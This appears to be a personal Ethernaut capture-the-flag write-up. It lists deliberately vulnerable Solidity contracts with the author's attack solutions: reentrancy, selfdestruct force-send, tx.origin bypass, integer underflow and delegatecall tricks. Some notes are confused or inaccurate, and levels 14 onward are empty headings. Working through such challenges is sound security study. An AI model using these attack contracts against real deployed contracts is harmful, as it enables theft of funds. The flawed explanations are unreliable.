Ethernaut

- 11 mins read

Study Material

Ethernaut, a CTF-like smart contract security challenge writeup

1. Ethernaut0 - Hello Ethernaut

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
} 

1.1 Solution

Starting from contract.info() which redirecting me to a function that change “cleared” to true;

1.2 Remark

Know the basic of smart contract function calling

  • player (get the player address)
  • getBalance(player) / await getBalancer(player) *if reads “pending”
  • ethernaut (get the contract)
  • ethernaut.owenr()
  • contract.info() <- Ethernaut0’s starting point

2. Ethernaut1 - Fallback

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

2.1 Solution

Leverage contribute() & receive()

  1. Contribute > 1000ether will become the contract owner (as a CTF-like challenge, surely it’s not the way)
  2. Contribute() few ether
  3. Use low level interaction to trigger receive(), as contribute few ether to the contract which the require() will be fullfilled. Then, becomes the contract owner with <1000 ether contribution

2.2 Remark

Remix’s low level interactions can trigger receive

  • how to call fallback?
  • Remix’s low level interactions is using transfer/send?

3. Ethernaut2 - Fallout

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

3.1 Solution

Call Fal1out() function directly by removing other unecessary funciton, then deploy on remix at the instance address. *Fal1out() is a fake constructor, constructor in solidty should be constructor.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


contract Fallout {
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
}

3.2 Remark

constructor is an optional function that execute contract creation. Should be implement in the way as below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// Base contract X
contract X {
    string public name;

    constructor(string memory _name) {
        name = _name;
    }
}

4. Ethernaut4 - Coin Flip

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

4.1 Solution

As blocknumber & blockhash can be calculated by us before calling the flip().

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}


contract CoinFlip_guess {

  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  CoinFlip private abc= CoinFlip(**INSTANCE ADDRESS**);
  function setCoinFlip(address _addr) public payable{
    abc = CoinFlip(_addr);
  }
  function flip_guess() public returns (bool){
    uint256 blockValue = uint256(blockhash(block.number - 1));


    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    return abc.flip(side);
  }
}

4.2 Remark

address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)
address.transfer(_amount)

Recognized how slow blockchian is…… Annoyed

  • How to call another contract? smart contract call another smart contract
  • How to get another contract’s blocknumber/blockhash? not other contract…contract instnace, public accessible while calling the contract
  • Got this error while using browser remix “Gas estimation failed” (*click “cancel”, otherwise need to referesh the browser)

5. Ethernaut5 - Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

5.1 Solution

tx.origin vs msg.sender

tx.origin: address of the EOA (externally ownder account)

msg.sender: address that currenlty executing the contract

WRONG

sequenceDiagram NewOwner->>Telephone:Wrong

CORRECT

sequenceDiagram NewO->>ContractA:msg.sender to ContractA ContractA->>Telephone:Telephone.owner=NewOwner

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}


contract Call {
  
  Telephone abc = Telephone(**INSTASNCE ADDRESS**);

  function change() public{
    abc.changeOwner(**YOUR WALLET ADDRESS**);
  }
}

5.2 Remark

6. Ethernaut6 - Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

6.1 Solution

Solution1

Typical overflow, uint, 0-1=a very large number, transfer(VALID_WALLET,-21)

Solution2

Create another contract, send a large number to wallet, idk why it works, but works

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract TwiceTransfer{
  Token abc = Token(**INSTANCE_ADDRESS**);
  function twiceTransfer() public{
      abc.transfer(**WALLET_ADDRESS**,2000000000);
  }
}

6.2 Remark

  • Why Solution2 works? should stops at “require(balances[msg.sender] - _value >= 0);”
  • import “hardhat/console.sol”; //for debugging

7. Ethernaut7 - Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

7.1 Solution

df: fallback(), will be triggered as below:

  • calling an non-exists function
  • Low level interaction that no receive() or msg.data is not empty

contract.sendTransaction({data:web3.utils.sha3(“pwn()”).slice(0,10)});;

7.2 Remark

Was trying to calculate the pwn() bytes, annoyed,

  • if any way to call contract with .sol
  • how to calculate the bytes
  • what’s bytes4
  • how can I know this before heading to a walkthrough

Another way to do low level call: contract.sendTransaction({data:web3.utils.sha3(“pwn()”).slice(0,10)});

Method id: 4 bytes, 0xaabbccdd

8. Ethernaut8 - Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

8.1 Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

contract Hack {
  constructor(address payable _target) payable {
    selfdestruct(_target);
  }
}

8.2 Remark

How do I know selfdestrcut????

Anyway, contract amount can be manipulated by anyone else, don’t use it as a decision factor

9. Ethernaut9 - Vault

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

9.1 Solution

bytes32 private password is “private”, but blockchain is open to all web

9.2 Remark

2 ways to get input data:

  1. “Input Data” under etherscan’s transaction hash
  2. await web3.eth.getStorageAt(instance, 1)

10. Ethernaut10 - King

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value; //number of wei send
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

10.1 Solution

seems pretty bad that everybody can control any eth to any wallet……. but OK for rechaing the level goal.

contract kingking{
  address payable abc;
  constructor() payable {
    
  }
  function sendwei(uint _wei) public {
    (bool success, bytes memory data) = abc.call{value: _wei}("");
    console.log(success);
    console.logBytes(data);
  }

  function setaddress(address payable _king) public {
    abc = _king;
  }
}

10.2 Remark

  • Making transaction
    • address.send(_amount)
    • address.call.value(_amount).gas(35000)()
    • address.transfer(_amount)
  • How to calculate gas usage before calling the contract?
  • Transaction (call, send, transfer) detailed send&transfer
  • constructor payable for receiving eht when deploy contracts.

11. Ethernaut11 - Re-entrancy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

11.1 Solution

Deploy Attack contract, then use donate 0.001eth to the deployed contract address via victim’s donate function. Then trigger attack, leverging fallback to call withdraw 2 times before the contract update the balance value.

contract Attack{
  Reentrance public victim;

  constructor( address payable _target) public{
    victim = Reentrance(_target);
  }

  // Fallback is called when DepositFunds sends Ether to this contract.
  fallback() external payable {
    victim.withdraw(1000000000000000);
  }

  function attack() external payable {
    victim.withdraw(1000000000000000);
  }

  function tran(uint _amount) public{
    address(**YOUR_WALLET**).call{value:_amount}("");
  }
}

11.2 Remark

Learn new things takes time, even the challenge is a famous one….

12. Ethernaut12 - Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

12.1 Solution

Create an new contract and deploy by using the Building interface, then have the control of function isLastFloor, then deploy our new contract, use the deployed contract to call Elevator.goTo. Then isLastFloor inside the Elevator.goTo will call our customized isLastFloor function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    //console.log(building.isLastFloor(_floor));
    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract new_building is Building{
  uint public floor;
  bool public top;
  Elevator public abc = Elevator(INSTANCE_ADDRESS);
  uint public counter;
  function setElevator(address _Elevator) external{
    abc = Elevator(_Elevator);
  }
  function isLastFloor(uint _floor) external returns (bool){
    floor = _floor;
    if (counter == 0){
      counter +=1;
      return false;
    }
    return true;
  }

  function goTo() external{
    abc.goTo(3);
  }
  
}

12.2 Remark

Modifiers (pure vs view vs default)

comparison table

external vs public(both externa & internal) vs internal (also private)

  • gas usage & performance (external&internal) > public

13. Ethernaut13 - Privacy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

13.1 Solution

memory data can’t be written by external party, but readable by everyone at anytime.

13.2 Remark

web3.eth.getStorageAt(“ADDRESS”, SLOT_NUM);

14. Ethernaut14 - Gatekeeper One

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    console.log("1");
    _;
  }

  modifier gateTwo() {
    console.log(gasleft());
    require(gasleft() % 8191 == 0);
    console.log("2");
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

14.1 Solution

14.2 Remark

15. Ethernaut15 - Gatekeeper Two

16. Ethernaut16 - Naught Coin

17. Ethernaut17 - Preservation

18. Ethernaut18 - Recovery

19. Ethernaut19 - MagicNumber

20. Ethernaut20 - Allen Codex

21. Ethernaut21 - Denial

22. Ethernaut22 - Shop

23. Ethernaut23 - Dex

24. Ethernaut24 - Dex Two

25. Ethernaut25 - Puzzle Wallet

26. Ethernaut26 - Motorbike

27. Ethernaut27 - DoubleEntryPoint

28. Ethernaut28 - Good Samaritan

29. Ethernaut29 - Gatekeeper Three

30. Ethernaut30 - Switch